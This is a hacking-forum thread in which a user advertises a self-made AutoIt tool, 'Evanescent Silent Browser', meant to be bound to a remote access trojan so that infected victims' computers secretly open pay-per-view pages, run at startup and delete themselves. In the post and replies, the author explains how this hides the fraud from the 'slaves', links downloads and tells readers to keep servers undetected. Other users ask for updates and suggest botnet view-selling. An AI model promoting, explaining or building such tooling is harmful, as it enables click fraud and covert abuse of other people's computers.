???Evanescent Silent Browser ???

[img]http://image.noelshack.com/fichiers/2012/52/1356813625-icon1.jpg[/img]

This is a tool that will open a hidden web page. An easy way for you to get tons of view on stuff like ptp. This tool need to be used in addition with a rat or something like that

features : Shitty gui

[img]http://image.noelshack.com/fichiers/2012/52/1356813630-gui2.jpg[/img]

Startup

You can make it run on startup so that your page(s) will open themselves on startup

Multi url

you can chose up to 2 pages per build.

so use the [Evanescent Toolbox](#) and well bind it unlimited times and open unlimited pages

timeout option

you can choose how much time you can wait until the page will destroy itself. Basically if there is something like adf.ly that need you to wait 5 seconds you can just set the time to 5 seconds

no dependencies

Since it's coded in autoit there is no dependencies ;)

well actually there is a little one : you need ie 3 or better installed on the pc. Needless to that that 99% of the pcs will have it

download : <http://ge.tt/7ztRhv81/v/0>

if you code in autoit and you want the source throw me a pm i'll send it

credits :

i would like to thanks [Razor](#) because he provided me the trick that permitted me to make this

and of course : [Team evanescent](#)

wow, not many people have replied anyways this look very usefull thanks for the share :)

ConnorB - February 19, 2013, 1:32 pm

Very interesting tool, looks well put together!

Thanks for the share!

Piyyy - February 19, 2013, 1:35 pm

for what is it ?

thanks for info in advance <43

Read the thread x)

It's a tool that open a web page on background.

here is an example : you've got 200 slaves and your rat "web browser" option open a big ass page on the foreground wich is really bad since the slave will start to think "hey why does ads randomly pop up on my screen ? Better scan my computer and find out" and you will loose some if you forgot to fud your server again or anything.

So ! What do you do ? You still need that money from this pay per view site to get money. You download my tool and generate a .exe that will open the page on backgroud and delete herself smoothly after a little bit of time.

Tadaa happy end

Soory but i can not get, what advantage this is ?! :)

splantoon - February 20, 2013, 1:56 pm

Agh T_T

You click on the firefox icon : a firefox windows will open

You click on the .exe generated with my tool : an internet explorer windows will open on the background and you don't notice anything.

the main idea behind it is to use paid per click monetizing methods while the slave don't see anything.

Is this still alive or is it dead? The download link isn't working :(.

Chr0nicHax - December 10, 2013, 7:59 am

Update download link plz.. It seems to be down.

lolwaitwut - December 10, 2013, 10:20 am

Thank you, just downloaded it and checking it out

splantoon - December 10, 2013, 2:50 pm

Wow that's pretty old x)

since there is a few people requesting I recompiled it : <http://ge.tt/7ztRhv81/v/0>

Thanks for sharing this, will be trying it out soon.

mysyst3m - February 15, 2017, 7:55 am

link is not valid..can you re upload it?

keelhaulus - *March 31, 2018, 5:17 pm*

Can anyone compile an updated version of this?

Wubix - *March 31, 2018, 5:19 pm*

This would be great for those with a botnet wanting to sell HR Youtube views
